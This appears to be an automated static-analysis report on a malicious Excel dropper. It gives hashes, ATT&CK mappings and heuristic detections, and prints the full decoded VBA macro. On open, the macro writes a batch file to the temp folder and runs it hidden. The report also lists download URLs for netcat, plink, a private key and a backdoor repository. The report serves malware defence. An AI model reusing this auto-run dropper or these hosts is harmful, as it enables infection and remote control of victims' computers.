Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7fd514e9bbd7e39c…

MALICIOUS

Office (OLE)

45.5 KB Created: 2019-02-09 13:58:57 First seen: 2019-05-16
MD5: 68b97c3e108463e751f30fbf565fcf50 SHA-1: 0913d4e8a87f7038d592c3b8c2701c879eec931e SHA-256: 7fd514e9bbd7e39c78aa80be382d5cfd7d0ed47dd6bcc74a2ab7fdd670d51261
458 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The Workbook_Open macro executes a batch script that downloads several files, including plink.exe and nc64.exe, using PowerShell. The script also attempts to download a file from http://config01.homepc.it/svc/wup.php?pc=pdf_%computername%, likely to establish a command and control channel or download further malicious content. The presence of these tools and the download mechanism strongly indicate a dropper functionality.

Heuristics 14

  • ClamAV: Xls.Dropper.Agent-7185123-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7185123-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call ExportRangetoFile
        Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\bonifico.bat", vbHide)
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        Set objFile = objFSO.CreateTextFile(Environ$("TEMP") & "\bonifico.bat")   'Output Path
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
        'MsgBox "ciao"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call ExportRangetoFile
        Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\bonifico.bat", vbHide)
    End Sub
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/pistacchietto/Win-Python-Backdoor/raw/master/win.bat In document text (OLE body)
    • http://config01.homepc.itIn document text (OLE body)
    • https://github.com/pistacchietto/Win-Python-Backdoor/raw/masterIn document text (OLE body)
    • https://github.com/pistacchietto/Win-Python-Backdoor/raw/master/wup.exeIn document text (OLE body)
    • http://config01.homepc.itJIn document text (OLE body)
    • https://github.com/pistacchietto/Win-Python-Backdoor/raw/master/In document text (OLE body)
    • http://verifiche.ddns.net/plink.exeIn macro / runtime command snippet
    • http://verifiche.ddns.net/mila.ppkIn document text (OLE body)
    • http://verifiche.ddns.net/win/get.batIn document text (OLE body)
    • http://verifiche.ddns.net/win/nc64.exeIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1745 bytes
SHA-256: a93a540238152fbc3ec39eaab44d864f342bc64637d8f89ce0575daf4c3efe84
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    'MsgBox "ciao"
    Call ExportRangetoFile
    Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\bonifico.bat", vbHide)
End Sub
Sub ExportRangetoFile()

    Dim ColumnNum: ColumnNum = 10   ' Column K
    Dim RowNum: RowNum = 1          ' Row to start on
    Dim objFSO, objFile

    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile(Environ$("TEMP") & "\bonifico.bat")   'Output Path

    Dim OutputString: OutputString = ""

    Do
        OutputString = OutputString & Replace(Sheet1.Cells(RowNum, ColumnNum).Value, Chr(10), vbNewLine) & vbNewLine
        RowNum = RowNum + 1
    Loop Until IsEmpty(Cells(RowNum, ColumnNum))

    objFile.Write (OutputString)

    Set objFile = Nothing
    Set objFSO = Nothing

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True